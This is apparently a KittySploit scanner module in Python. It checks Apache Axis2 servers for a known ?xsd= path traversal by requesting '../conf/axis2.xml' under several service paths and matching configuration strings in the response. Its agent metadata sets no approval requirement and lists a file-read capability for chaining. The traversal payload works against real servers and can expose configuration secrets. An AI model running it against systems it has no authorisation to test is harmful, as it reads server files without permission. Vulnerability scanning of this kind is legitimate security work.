Apache Axis2 - xsd Path Traversal Detection
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache Axis2 ?xsd= path traversal to axis2.xml."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Apache Axis2 - xsd Path Traversal Detection',
'description': (
'Detects Axis2 service ?xsd=../conf/axis2.xml traversal by matching '
'axisconfig AxisJava2.0 in the response.'
),
'author': ['KittySploit Team'],
'severity': 'high',
'tags': [
'web', 'scanner', 'axis2', 'apache', 'lfi', 'unauth', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 6,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 0.8,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'file_read', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://www.securityfocus.com/bid/40343',
],
}
def run(self):
services = (
'/axis2/services/Version',
'/axis2/services/listServices',
'/services/Version',
'/axis/services/Version',
'/axis2/services/AdminService',
'/axis2/services/Echo',
)
for svc in services:
path = f'{svc}?xsd=../conf/axis2.xml'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if r and 'axisconfig' in (r.text or '') and 'AxisJava2' in (r.text or ''):
self.set_info(
severity='high',
reason='Axis2 xsd path traversal',
path=svc,
)
return True
return False
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